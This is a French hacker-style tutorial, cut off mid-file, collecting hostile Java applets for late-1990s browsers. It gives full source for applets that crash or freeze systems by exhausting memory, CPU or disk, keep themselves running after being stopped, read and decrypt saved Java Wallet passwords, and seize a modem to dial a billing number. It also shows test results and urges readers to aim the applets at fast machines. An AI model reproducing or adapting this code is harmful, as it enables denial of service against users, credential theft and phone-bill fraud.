***IECrash de Fabio Ciucci
Fabio est un programmeur java assez clbre, il a fait pas mal d'applets java avec des effets spciaux trs rpandues. Il a trouv ce bug par
hasard, alors qu'il bossait sur une applet. Comme son nom l'indique elle fait crasher ie 4 avec un vilain message d'erreur, trs efficace. Comme
d'habitude il n'a pas voulu diffuser le code avant que microsoft n'ait sorti un patch, mais comme il est protg contre la dcompilation je ne
peux pas vous donner la source ici. Je m'attaquerai au code quand je connatrai mieux le bytecode, en attendant vous pouvez l'essayer sur
http://www.anfyjava.com/iebug/





***Classpath weaknesses
Cet exploit n'tant pas prt  l'emploi il ne s'adresse qu'aux personnes ayant un bon background en java. Il exploite un dfaut (qui n'est pas
considr comme un dfaut par tout le monde d'ailleurs) dans la gestion de la variable classpath. Ce problme n'est pas rcent, il date de 1997
mais peut encore servir, et mme si ce n'est pas le cas le principe est intressant et permettra srement d'en inspirer de nouveaux. Lorsqu'une
applet fait rfrence  une classe, la jvm cherche d'abord sur le disque local si cette classe est disponible, si ce n'est pas le cas elle est
tlcharge et se voit applique les mme restrictions que les autres applets. Le principe est alors de placer au pralable les classes hostiles
dans la variable classpath, puis en y faisant une rfrence dans une applet celle ci pourra avoir accs au systme par l'entremise des classes
hostiles. Les dites classes peuvent tre par exemple envoyes dans un fichier zipp, cach dans une bibliothque de classes utiles, elles. Si
l'utilisateur veut tlcharger cette bibliothques c'est qu'il compte l'utiliser, il la place donc tout seul dans sa variable classpath et nous
n'avons plus qu' faire le reste. Je sais que les versions rcentes de communicator ont remdi au problme en traitant les classes charges sur
le rseau ou sur le disque avec les mmes restrictions. Peut-tre qu'en s'attaquant directement au ClassLoader... :]




***Memory flooding
Le dernier type d'exploits est celui bas sur la consommation des ressources, le plus simple  raliser mais pas forcment le moins efficace. La
technique est ici de trouver les processus qui squattent le plus de mmoire possible pour obtenir les rsultats les plus spectaculaires. Dans
l'exemple de Joe Lindstrm (optimis par moi-mme en personne) suivant, chaque thread va ouvrir une nouvelle fentre sur www.actionman.com : 

/************BEGIN fl00d.java***************/
import java.applet.Applet;
import java.net.URL;
import java.net.MalformedURLException;

public class fl00d extends Applet implements Runnable { 
    Thread[] thmat;
    URL address;

    public void init() {
        int num;
        if(getParameter("NumberOfThreads")!=null) {
            try {
                num = Integer.parseInt(getParameter("NumberOfThreads"));
            } catch(NumberFormatException e) {
                num = 1024;
            }
        }
        else
            num = 1024;
        thmat = new Thread[num];
        for(int i=0; i<num; i++) {
            thmat[i] = new Thread(this);
            thmat[i].start();
        }
        try {
            address = new URL("http://www.actionman.com");
        }
        catch(MalformedURLException e) {}
    }

    public void run() {
        for(int i=0; i<thmat.length; i++) {
            while(Thread.currentThread() == thmat[i]) 
                getAppletContext().showDocument(address, "_blank");
        }
    }
}
/*************END fl00d.java****************/

Transmettez lui l'argument "NumberOfThreads", le nombre de threads que vous souhaitez utiliser. Joe Lindstrm plantait avec 10 threads entrant
dans la boucle, ici la valeur par dfaut est 1024, mais si vous en mettez plus je pense que vous devriez planter avant qu'ils aient tous le temps
de s'initialiser, c'est ce que j'appelle le temps de flottement : le temps que met l'applet pour s'initialiser totalement et tre pleinement
efficace. Plus vous metez de threads, plus le temps de flottement est grand mais plus votre applet sera redoutable. toute la technique consiste 
trouver le milieu optimum entre temps de flottement et les effets causs. Si vous voulez planter un ordinateur trs rapide tentez d'en mettre
plus et de mettre plusieurs fois cette applet dans la mme page.

Au cours de mes prgrinations javanaises je me suis dit "mnhhhff raaahhh pff aaarrr zefieftpfff", autrement dit je voulais crer entirement de
moi mme une applet mchante au lieu d'amliorer celles des autres. Or a tombe drlement bien parce que ce mme jour je me suis fait un poster
avec la hirarchie des classes de java.io et les constructeurs et tout enfin bref, j'ai remarqu quelque chose qui a attir mon oeil en manque de
visions salasses : la voisine qui se trimbale  poil devant sa fentre, ce qui n'est pas sans me rappeler violemment qu'un PipedOutputStream est
construit sur un PipedInputStream et vice versa. Cela paraissant pour le moins louche je me jette sur mon clavier et benchmarke comme un fou
pendant une heure, et l je m'crie : "Et pourtant elle tourne !!!". Pour ceux qui n'auraient pas compris cette subtile allusion  la voisine je
rappelle que le film commence rarement avant 21 heures. To sum it up, je me suis bas sur l'applet prcdente (les routines de gestion des
threads sont trs trs bien puisque c'est moi qui les ai faites :) mais en y incorporant le principe des PipedIS et OS qui m'intriguaient, 
juste titre : 

/************BEGIN InfinitePipe.java***************/
import java.io.*;
import java.applet.Applet;

public class InfinitePipe extends Applet implements Runnable {
    byte[] buf;
    Thread[] thmat;

    public void init() {
        int num;
        if(getParameter("NumberOfThreads")!=null) {
            try {
                num = Integer.parseInt(getParameter("NumberOfThreads"));
            } catch(NumberFormatException e) {
                num = 1024;
            }
        }
        else
            num = 1024;

        String str = "";
        if(getParameter("LoopText")!=null) 
            str = getParameter("LoopText");
        else {
            while(str.length()<num*10)
            str += "loop";
        }
        buf = str.getBytes();

        thmat = new Thread[num];
        for(int i=0; i<num; i++) {
            thmat[i] = new Thread(this);
            thmat[i].start();
        }
    }

    public void run() {
        for(int i=0; i<thmat.length; i++) {
            try {
                while(Thread.currentThread() == thmat[i]) {
                    int length = buf.length;
                    PipedInputStream in = new PipedInputStream();
                    PipedOutputStream out = new PipedOutputStream(in);
                    out.write(buf,0,length);
                    byte[] buf2 = new byte[length];
                    int j;
                    while((j=in.read(buf2,0,length))!=-1) 
                        out.write(buf2,0,length);
                }
            } catch(Exception e) {
                System.out.println("Error --- "+e.toString());
            }
        }
    }

    private void pr(String str) {
        System.out.println(str);
    }
}
/*************END InfinitePipe.java****************/

Transmettez deux arguments  l'applet : "NumberOfThreads" comme dans la prcdente et "LoopText", le texte qui va tre envoy dans les pipes.
Ae c'est bon j'explique : la cl du mystre tient dans ces quelques lignes :

   PipedInputStream in = new PipedInputStream();
   PipedOutputStream out = new PipedOutputStream(in);
   out.write(buf,0,length);
   byte[] buf2 = new byte[length];
   int j;
   while((j=in.read(buf2,0,length))!=-1) 
       out.write(buf2,0,length);

On y cre deux flux interconnects, le premier va lire tout ce qui est envoy sur le deuxime et envoie le tout sur celui-ci, ce qui fait qu'il
se re-remplit lui mme. Pour rsumer, ds qu'on commence  envoyer des donnes dans le couple de flux celles-ci sont prisonnires et sont lues en
permanence, en sachant que chaque thread reprsente un couple et que plus les donnes qu'on injecte sont volumineuses plus la mmoire est
occupe. Mettez donc dans le paramtre "LoopText" le plus de texte possible. Voil le rsultat de mes tests :

-pour l'appletviewer avec 1 thread et 8 octets de txt : ralentissement important
-pour ie 4.0 avec 1 thread et 8 octets : dfauts d'affichage passagers
-pour communicator 4.03 avec 1 thread et 8 octets : gel de la fentre

-pour l'appletviewer avec 1024 threads et 23 ko de txt : crash windows avec 2 crans bleus au bout de 10s
-pour ie avec 1024 threads et 23 ko de txt : crash total au bout de 15s, crans bleus, erreurs fatales, gel systme
-pour communicator avec 1024 threads et 23 ko de txt : rien (?)

Faites vos propres tests pour voir ce que a donne mais comme vous pouvez vous en rendre compte c'est bien violent :) Note : la taille du texte
influence grandement le temps de flottement, mais le rsultat est poustouflant. Dans les derniers exemples, jusqu' t+10s ou 15s on ne voit
qu'un trs lger ralentissement, aprs c'est l'horreur totale. Je rappelle  tout le monde que ce genre d'applets est le plus simple  faire et
ne demande aucun gnie. Ce sont aussi les moins dangereuses vu qu'elles ne font que gner l'utilisateur, qui, du coup, ne viendra plus sur votre
site de trouduku. C'est donc juste pour satisfaire un peu votre ego et dmontrez que la gestion de la mmoire par la jvm est passablement
mauvaise, et pis en plus a permet d'exciter son ct mesquin de jean-kevin refoul. J'ai d'ailleurs trouv un bon moyen de se consoler aprs
s'tre fait larguer par une petite copine (si j'en ai eu d'abord...), crivez ce genre de merdes pendant toute une soire et amusez vous  vous
faire crasher une bonne cinquantaine de fois. Une autre technique consiste  changer de copines mais c quand mme moins fun pour votre ct
mesquin ;) Bon j'arrte a fait rire que moi les blagues sur mes ex.

Pour la peine je vous passe une autre applet que j'ai faite, elle crashe communicator 4.7 assez lgamment (elle se termine anormalement sans
plus d'erreurs sur 4.0, et elle ne fait que ralentir ie 4), je vous laisse examiner le code qui est assez simple : 

/************BEGIN InstanceFloodApplet.java***************/
public class InstanceFloodApplet extends java.applet.Applet {
    public void init() {
        while(true) {
            try {
                InstanceFloodApplet begin = new InstanceFloodApplet();
            } catch(NullPointerException e) {
            } catch(InstantiationException e) {
            } catch(StackOverflowError e) {
                continue;
            }
        }
    }

    public InstanceFloodApplet() throws InstantiationException {
        try {
            InstanceFloodApplet p = new InstanceFloodApplet();
        } catch(InstantiationException e) {}
    }
}
/*************END InstanceFloodApplet.java****************/

Ici, chaque nouvelle instance cre en cre une nouvelle, qui en cre une nouvelle, et ainsi de suite. Comme l'instanciation est une des actions
les plus gourmandes en mmoire, je vous laisse imaginer le rsultat :)

L'applet suivante, de Mark LaDue (que l'on reverra pas mal plus tard), overloade le cpu et la mmoire en calculant des chiffres normes et en
les affichant en dehors de l'cran : 

/************BEGIN Consume.java***************/
import java.awt.Color;
import java.awt.Event;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;

public class Consume extends java.applet.Applet implements Runnable {
    Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
    Thread wasteResources = null;
    Image offscreenImage;
    Graphics offscreenGraphics; 
    StringBuffer holdBigNumbers = new StringBuffer(0);
    long n = 0;
    int delay;

    public void init() {
        setBackground(Color.blue);
        offscreenImage = createImage(this.size().width, this.size().height);
        offscreenGraphics = offscreenImage.getGraphics();
        String str = getParameter("wait");
        if (str == null)
            delay = 0;
        else delay = (1000)*(Integer.parseInt(str));
    }

    public void start() {
        if (wasteResources == null) {
            wasteResources = new Thread(this);
            wasteResources.setPriority(Thread.MAX_PRIORITY);
            wasteResources.start();
        }
    }

    public void stop() {}

    public void run() {
        try {Thread.sleep(delay);}
        catch (InterruptedException e) {}
        while (n >= 0) {
            try { holdBigNumbers.append(0x7fffffffffffffffL); }
            catch (OutOfMemoryError o) {}
            repaint();
            n++;
        }
    }

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {
        offscreenGraphics.setColor(Color.white);
        offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
        offscreenGraphics.setColor(Color.blue);
        offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
    }
}
/*************END Consume.java****************/

Cette applet se contente apparemment d'afficher un grand carr bleu. Vous pouvez lui transmettre le paramtre "wait" qui va indiquer au bout de
combien de temps (en millisecondes) le calcul sera dclench. Il ne se passe apparemment rien lors de l'excution du programme mais ds qu'on
quitte le browser la surcharge devient infernale et il devient pratiquement impossible d'avoir accs au systme  cause des temps d'accs
interminables... niqudlique ! :)





***Le cri qui tue
Maintenant un petit moment nostalgie (violons sioupl), la toute premire applet que j'ai faite qui s'est avre super drle mme si  l'poque
j'avais pas fait exprs :) Elle joue un son en boucle et ne fait que a, mais le fait tellement bien que mme quand on lui dit elle arrte pas
(arrtez les violons a saoule). Etant donn que c'est la jvm du browser qui se charge de jouer le son, ce genre d'vnements est indpendant de
la page en cours, ce qui fait que mme si on quitte la page contenant l'applet le son continue d'tre jou. Les seuls moyens d'arrter ce son
sont : 1)fermer le browser ou 2)couper le son. Cette applet marchera sur n'importe quel browser compatible Java 1.0.2 ou 1.1, comme communicator
4.0 ou ie 4.0 (putain les violons !!!). 

/************BEGIN AudioTrap.java***************/
import java.awt.Graphics;
import java.applet.AudioClip;
import java.awt.Color;
import java.awt.Font;

public class AudioTrap extends java.applet.Applet implements Runnable {
    AudioClip beep;
    Thread runner;

    public void start() {
        if (runner == null) {
            runner = new Thread(this);
            runner.start(); 
        }
    }

    public void init() {
        String str;
        str = getParameter("sound");
        if (str == null)
            str = "beep.au";
        beep = getAudioClip(getCodeBase(), str); 
    }    

    public void run() {
        if (beep != null) 
            beep.loop();
        Thread thisThread = Thread.currentThread();
   }    
}
/*************END AudioTrap.java****************/

Transmettez  l'applet le paramtre "sound" reprsentant le nom du fichier son  jouer, qui est beep.au par dfaut. 





***Le silence qui tue
Voil prcisment ce que l'on pourrait appeler l'inverse de l'applet prcdente. Celle-ci fait un appel toutes les secondes  la mthode
sun.audio.AudioDevice.device.close(), ce qui techniquement empche les autres applets de jouer des sons (dveloppe pour communicator 4.04 par
Mark LaDue mais fonctionne aussi avec ie). Cela ne serait pas gnant si l'applet ne revenait pas  chaque fois qu'elle est ferme : une fois
charge en mmoire elle est persistante. Gimme the src plz : 

/************BEGIN AudioKiller.java***************/
import java.applet.*;
import sun.audio.*;

public class AudioKiller extends java.applet.Applet implements Runnable {
    Thread stubborn;

    public void init() {
        stubborn = null;
    }

    public void start() {
        if (stubborn == null) {
            stubborn = new Thread(this,"stubborn");
            stubborn.setPriority(Thread.MAX_PRIORITY);
            stubborn.start();
        }
    }

    public void stop() {}    

    public void run() {
        try {
            while (true) {
                HoseAudio();
                try {stubborn.sleep(1000);}
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {System.out.println("You can't get me that easily!");}
        finally {
            System.out.println("I'm back again!");
            AudioKiller aud = new AudioKiller();
            Thread reborn = new Thread(aud, "stubborn");
            reborn.start();
        }
    }

    public void HoseAudio() {
        AudioDevice.device.close();
    }
}
/*************END AudioKiller.java****************/

J'attire tout particulirement l'attention des coders java sur la manire employe pour permettre  l'applet de persister en mmoire, en crant
un nouveau thread en cas d'expiration du thread courant :

        try { /* evil code */ }
        catch (ThreadDeath td) {}
        finally {
            Thread reborn = new Thread(new AudioKiller(), "stubborn");
            reborn.start();
        }

Pour compiler l'applet il faut que vous ayez les classes java de communicator 4.04 dans votre classpath.





***The Java Wallet
Cette partie est emprunte, encore une fois,  mr LaDue. Le Java Wallet (http://java.sun.com/products/commerce/index.html) a t cr par Sun
dans une optique de scurisation des transactions de commerce lectronique. Il ncessite l'installation pralable du Sun's Java plug-in
(http://java.sun.com/products/plugin/). Paradoxalement, ces deux produits coupls font apparatre de nouveaux problmes de scurit. Pour runner
les trois applets suivantes vous devez avoir install le plug-in de sun et le Java Wallet early access 1 (vous trouverez maintenant l'ea 2 sur le
site de sun, il est possible que certains bugs prsents ici soient corrigs dans cette deuxime version).


   ###PickPocket
Il est toujours tonnant de constater que des programme dits scuriss permettent l'enregistrement des mots de passe sur le dd. Le fait est que
si un mot de passe est stock dans le but de pouvoir tre rutilis sans tre tap  nouveau, il doit tre stock sous form rversible. C'est le
principe de mon applet joylockCracker (http://members.xoom.com/swpteam/products/joylockcracker/) et c'est aussi celui du PickPocket. Cette applet
peut accder :
-au rpertoire d'installation du Java Wallet
-au rpertoire de dpart de l'utilisateur (user.home, proprit inaccessible normalement)
-aux proprits du Java Wallet (jcef.properties)
-aux noms d'utilisateurs et aux passwords enregistrs correspondants

Pour tester l'applet il faut que vous ayez cr un wallet enregistr en tant que wallet par dfaut pour l'autologin. 

/************BEGIN PickPocket.java***************/
import java.awt.*;
import java.io.*;
import javax.commerce.base.*;
import javax.commerce.util.*;

public class Pickpocket extends java.applet.Applet implements Runnable {
    Thread controller = null;
    File fie = null;
    String wfilename;
    String login = null;
    String encpword = null;
    String realpword = null;
    TextArea console = null;

    public void init() {
        console = new TextArea("Pickpocket is a harmless demo applet.\n\n", 20, 80);
        console.setEditable(false);
        add(console);
        console.append("To try it you must have already set up:\n");
        console.append("1. Sun's Java Plug-in 1.1;\n");
        console.append("2. Sun's Java Wallet (Early Access 1 Release);\n");
        console.append("3. A default (saved) user login and password in the Java Wallet.\n\n");
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.start();
        }
    }

    public void stop() {}

    public void run() {

/* This works regardless of whether or not jecf.properties contains info */
        fie = JECF.getWalletHome();
        console.append("\nPickpocket knows your Java Wallet Home: " +
                           fie.toString() + "\n");

/* This depends on jecf.properties containing login information */
        wfilename = JECF.getJecfProperty("jecf.walletfile");
        login = JECF.getJecfProperty("jecf.user");
        encpword = JECF.getJecfProperty("jecf.password");
        console.append("Pickpocket knows your Java Wallet file name: " +
                           wfilename + "\n");
        console.append("Pickpocket knows your Java Wallet login name: " +
                           login + "\n");
        console.append("Pickpocket knows your \"encrypted\" password: " +
                           encpword + "\n");
        console.append("Pickpocket will now determine your password.\n");
        realpword = decrypt(encpword);
        console.append("Pickpocket found your real password: " +
                           realpword + "\n");
    }

/* This recovers the "encrypted" password */
    public String decrypt(String encpw) {
        String refstr = new String("fB8?!~0[1*&xhg^765Aq*(7GHjgytuYU87521*&(*79(87(*98gihGIhihgghi");
        if(encpw.length() == 0) {
            return encpw;
        }
        byte byter[];
        try {
            BASE64Decoder base64decoder = new BASE64Decoder();
            byter = base64decoder.decodeBuffer(encpw);
            byte refbytes[] = refstr.getBytes();
            int i = Math.min(byter.length, refbytes.length);
            for(int j = 0; j < i; j++)
                byter[j] -= refbytes[j];
        }
        catch(Exception ex) {return "";}
        return new String(byter);
    }
}
/*************END PickPocket.java****************/


   ###BookMarker
Ne disposant d'absolument rien me permettant de tester cette applet, je vais laisser LaDue vous expliquer son fonctionnement plutt que de me
risquer  une traduction hasardeuse : http://www.rstcorp.com/hostile-applets/JWApplets.html (en plus vous trouverez l bas tous les fichiers dont
vous avez besoin). Elle s'adresse aux systmes Solaris disposant de communicator 4.04 ou 4.05, elle permet d'effectuer des commandes sur le
systme. 


   ###DemonDialer
En voil une applet qu'elle est cool :) Elle cible zin 9*/nt avec ie 4.0+ ou communicator 4.04 ou 4.05. Elle liste tous les ports srie et
parallles disponibles sur votre machine, puis liste les proprits des ports srie. Si un port srie est libre, l'applet l'ouvre et vrifie si
le modem peut s'y trouver, dans ce cas elle change certaines proprits et se met  composer des numros. Elle utilise le systme de persistance
en mmoire vu prcdemment. Le seul moyen d'arrter l'applet est donc de fermer le browser. Il est possible d'utiliser l'applet pour composer le
n que l'on veut, avec les consquences que a implique... Pour compiler le code source vous aurez besoin de l'api de communication de sun, qui
permet d'interfacer avec les ports srie et parallles (disponible sur http://maddany.cjb.net/dlarea/packages/javacomm20-win32.zip). J'ai laiss
les commentaires dans le source car le code est un peu straight  mon got :)

/************BEGIN DemonDialer.java***************/
/*  May 9, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.comm.*;

public class DemonDialer extends java.applet.Applet implements Runnable {
    Thread demon;

    public void init() {
        demon = null;
        System.out.println("DemonDialer is a harmless demo applet.\n");
        System.out.println("To use try it you must have already set up:");
        System.out.println("1. Sun's Java Plug-in 1.1;");
        System.out.println("2. Sun's Java Wallet (Early Access 1 Release);\n");
    }

    public void start() {
        if (demon == null) {
            demon = new Thread(this);
            demon.setPriority(Thread.MAX_PRIORITY);
            demon.start();
        }
    }

    public void stop() {}

    public void run() {
        try {
            probe();
        }

// Catch all kinds of stuff to make sure we're not stopped
        catch (ThreadDeath td) {}
        catch (Exception except) {}
        catch (Error err) {}


// Resurrect the hostile thread in case of ThreadDeath, Exception,
// Error or completion of its mission
        finally {
            System.out.println("DemonDialer is back again.");
            DemonDialer demon = new DemonDialer();
            Thread reborn = new Thread(demon);
            reborn.start();
        }
    }

// Search for a modem
    public void probe() {
        CommPortIdentifier cpid = null;
        SerialPort sp = null;
        OutputStream outer = null;
        InputStream inner = null;
        boolean maybeModem = false;
        boolean openedAndDialed = false;

// Enumerate all of the ports
        for (Enumeration e = CommPortIdentifier.getPortIdentifiers();
                         e.hasMoreElements(); ) {

            cpid = (CommPortIdentifier) e.nextElement();
            openedAndDialed = false;
            maybeModem = false;

// Examine a serial port
            if (cpid.getPortType() == 1) {

// Print some information about it
                System.out.println("String: " + cpid.toString());
                System.out.println("Name: " + cpid.getName());
                System.out.println("Port Type: " + cpid.getPortType());
                System.out.println("Owner: " + cpid.getCurrentOwner());

// Watch and wait for the port to become available
                while (!openedAndDialed) {
                    try {
                        sp = (SerialPort) cpid.openPort("DemonDialer", 100);
                        System.out.println("Opened Port " + cpid.getName());
                        System.out.println("New Owner: " + cpid.getCurrentOwner());
                        outer = sp.getOutputStream();
                        System.out.println("Got OutPutStream for " + cpid.getName());
                        inner = sp.getInputStream();
                        System.out.println("Got InPutStream for " + cpid.getName());
                        System.out.println("Serial Port Information:");
                        System.out.println("    Baud Rate = " + sp.getBaudrate());  // <wolf> coucou!!
                        System.out.println("    Data Bits = " + sp.getDataBits());
                        System.out.println("    Stop Bits = " + sp.getStopBits());
                        System.out.println("    Parity    = " + sp.getParity());
                        System.out.println("    Flow Control Mode = " + sp.getFlowcontrolMode());
                        if (sp.isDTR()) {
                            maybeModem = true;
                            System.out.println("    DTR");
                        }
                        if (sp.isRTS()) {
                            maybeModem = true;
                            System.out.println("    RTS");
                        }
                        if (sp.isCTS()) {
                            maybeModem = true;
                            System.out.println("    CTS");
                        }
                        if (sp.isDSR()) {
                            maybeModem = true;
                            System.out.println("    DTR");
                        }
                        if (sp.isRI()) {
                            maybeModem = true;
                            System.out.println("    RI");
                        }
                        if (sp.isCD()) {
                            maybeModem = true;
                            System.out.println("    CD");
                        }
                        if (maybeModem) {
                            System.out.println(cpid.getName() + " looks like a modem");
                            System.out.println("Dialing " + cpid.getName() + " :");
                            dialOut(inner, outer);
                        }
                        openedAndDialed = true;
                        if (sp != null) {
                            sp.closePort();
                        }
                   }

// If there were any problems, sleep for 10 seconds and try it again
                    catch (Exception ex) {
                        System.out.println("Exception manipulating " + cpid.getName() + " - sleeping 10 seconds before trying again...");
                        try {
                            demon.sleep(10000);
                        }
                        catch (InterruptedException ie) {}
                        if (sp != null) 
                            sp.closePort();
                    }
                }
            }
        }
    }

// Exploit your modem
    public void dialOut(InputStream inner, OutputStream outer)
    throws IOException {

// First command - Stop echoing modem commands
        outer.write(65);
        outer.write(84);
        outer.write(69);
        outer.write(48);
        outer.write(13);
        System.out.println("Sent ATE0<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        int avail = inner.available();
        System.out.println(avail + " bytes available:");
        byte[] response = new byte[avail];
        StringBuffer strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) 
            strbuf.append((char)response[i]);
        System.out.println(strbuf.toString());

// Second command - turn off the modem's sound
        outer.write(65);
        outer.write(84);
        outer.write(77);
        outer.write(48);
        outer.write(13);
        System.out.println("Sent ATM0<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) 
            strbuf.append((char)response[i]);
        System.out.println(strbuf.toString());

// Third command - dial the toll-free number of a pseudo-billing service
// that crams arbitrary charges on folks' phone bills
        outer.write(65);
        outer.write(84);
        outer.write(68);
        outer.write(84);
        outer.write(32);
        outer.write(49);
        outer.write(56);
        outer.write(48);
        outer.write(48);
        outer.write(56);
        outer.write(54);
        outer.write(54);
        outer.write(56);
        outer.write(56);
        outer.write(56);
        outer.write(57);
        outer.write(13);
        System.out.println("Sent ATDT 18008668889<CR> to OutPutStream");
        try {
            System.out.println("Sleeping for 60 seconds...");
            demon.sleep(60000);
        }
        catch (InterruptedException ie) {}
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) 
            strbuf.append((char)response[i]);
        System.out.println(strbuf.toString());

// Escape to the command mode
        System.out.println("Escaping to the command mode...");
        outer.write(43);
        outer.write(43);
        outer.write(43);
        outer.write(13);
        try {
            demon.sleep(2000);
        }
        catch (InterruptedException ie) {}
        System.out.println("Sent +++<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) 
            strbuf.append((char)response[i]);
        System.out.println(strbuf.toString());

// Hang up the modem
        System.out.println("Hanging up...");
        outer.write(65);
        outer.write(84);
        outer.write(72);
        outer.write(48);
        outer.write(13);
        System.out.println("Sent ATH0<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) 
            strbuf.append((char)response[i]);
        System.out.println(strbuf.toString());
        try {
            demon.sleep(5000);
        }
        catch (InterruptedException ie) {}
    }
}
/*************END DemonDialer.java****************/




***Maman communicator y m'a mordu !
Les applets qui vont suivre ont (encore) t cres par LaDue. C'est une petite compilation d'exploits pour communicator 4.04 ou 4.05. Je tiens
 vous faire remarquer qu'il y est all comme un bourrin pour trouver les bugs mais moi j'dis y a que a de vrai : il a dcompil les 1669
classes java qui constituent la bibliothques de communicator 4.04 et examin o a pouvait clocher. Voil ce qu'il a trouv (pour compiler les
applets suivantes il faut que vous ayez les classes de communicator dans votre classpath) :

   ###DiskHog 
Cette applet ne fait rien de moins qu'essayer de remplir votre disque dur. Le package netscapesecfile dans communicator 4.05 permet un accs
illimit  votre disque dur dans un dossier cens tre scuris (secfile, dans votre rpertoire user.home). L'applet va crire 1 mo de donnes
toutes les 2 secondes pour ne pas rvler sa prsence (un peu plus de 2s en fait, le temps d'crire les donnes). Elle utilise  nouveau le
systme de persistance en mmoire ce qui fait que vous ne devriez normalement vous rendre compte de rien jusqu' ce qu'il soit trop tard ou que
vous fermiez le browser.

/************BEGIN DiskHog.java***************/
/*  April 12, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

import java.io.*;
import netscape.applet.*;
import netscape.secfile.*;

public class DiskHog extends java.applet.Applet implements Runnable {
    Thread stubborn;

    public void init() {
        stubborn = null;
    }

    public void start() {
        if (stubborn == null) {
            stubborn = new Thread(this,"stubborn");
            stubborn.setPriority(Thread.MAX_PRIORITY);
            stubborn.start();
        }
    }

    public void stop() {}    

    public void run() {
        try {
            while (true) {
                dump();
                try {stubborn.sleep(2000);}
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {}
        catch (Exception except) {}
        catch (Error err) {}

// Resurrect the hostile thread in case of ThreadDeath, Exception, or Error
        finally {
            DiskHog hog = new DiskHog();
            Thread reborn = new Thread(hog, "stubborn");
            reborn.start();
        }
    }

// Dump a megabyte to a "cache" file
    public void dump() {
        SecureFileOutputStream sfos = null;
        byte[] byter = new byte[1048576];
        for (int i = 0; i < byter.length; i++) {
            byter[i] = (byte) i;
        }
        try {
            sfos = new SecureFileOutputStream("cache", true);
            sfos.write(byter);
        }

// If we can't dump a megabyte, try to dump less
        catch (IOException ioe) {dumpbytes();}
    }

// Start dumping single bytes - up to 1 MB - when space is low
    public void dumpbytes() {
        try {
            SecureFileOutputStream sfos = new SecureFileOutputStream("cache", true);
            for (int i = 0; i < 1048576 ;i++) 
                sfos.write(i);
        }

// We're probably out of space, so pause for 5 seconds, then go look for more
        catch (IOException ioe) {
            try {Thread.currentThread().sleep(5000);}
            catch (InterruptedException ie) {}
        }
    }
}
/*************END DiskHog.java****************/


   ###Crashi-crashons communicator, lalalilala [chanson paillarde]
Les deux applets qui suivent sont minuscules mais pour le moins efficaces, elles crashent instantanment communicator avec des mthodes
"fantmes" trouves dans les packages netscape Encore plus trange elles me crashent aussi l'explorer au lieu de gnrer une classique
ClassNotFoundException. LaDue a trouv deux mthodes tranges dans la classe netscapemisc.ObjectHeader :
    public static native int GetObjectHeader(Object obj);
    public static native int SetObjectHeader(Object obj, int i);
Ces mthodes ne sont apparemment documentes nulle part et utilises dans aucune autre classe, il a alors dcid de les tester et un simple
appel  une de ces mthodes avec un objet non-initialis fait crasher netscape.. sobre et lgant :) HoseCom404 exploite ce bug :

/************BEGIN HoseCom404.java***************/
/*  HoseCom404.java by Mark D. LaDue */

/*  April 5, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

import netscape.misc.*;

public class HoseCom404 extends java.applet.Applet implements Runnable {
    Thread controller = null;
    Object obj = null;

    public void init() { }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.start();
        }
    }

    public void stop() {}

    public void run() {
        ObjectHeader.GetObjectHeader(obj);
//        ObjectHeader.SetObjectHeader(obj, 0);
    }
}
/*************END HoseCom404.java****************/

Mme type d'attaque avec CrashCom405, une simple rfrence au constructeur netscape.softupdate.SoftwareUpdate() avec des instances nulles suffit
 remplir son office :)

/************BEGIN CrashCom405.java***************/
/*  CrashCom405.java by Mark D. LaDue */

/*  April 11, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

import netscape.softupdate.*;

public class CrashCom405 extends java.applet.Applet implements Runnable {
    Thread controller = null;
    SoftwareUpdate su = null;

    public void init() { }

    public void start() {
        if (controller == null) {
           controller = new Thread(this);
           controller.start();
        }
    }

    public void stop() {}

    public void run() {
        su = new SoftwareUpdate(null, null);
    }
}
/*************END CrashCom405.java****************/


   ###Unplugged
Bien qu'elle ne soit pas extrmement spectaculaire, Unplugged reste une applet nous permet d'accder  des informations auxquelles nous n'avons
normalement pas droit donc nous on est preneurs. Elle s'appuie sur du javascript pour afficher les plug-ins installs avec communicator ainsi que
leur path sur le systme, puis affiche le nombre d'entres dans l'history du browser. 

/************BEGIN Unplugged.java***************/
/*  April 15, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
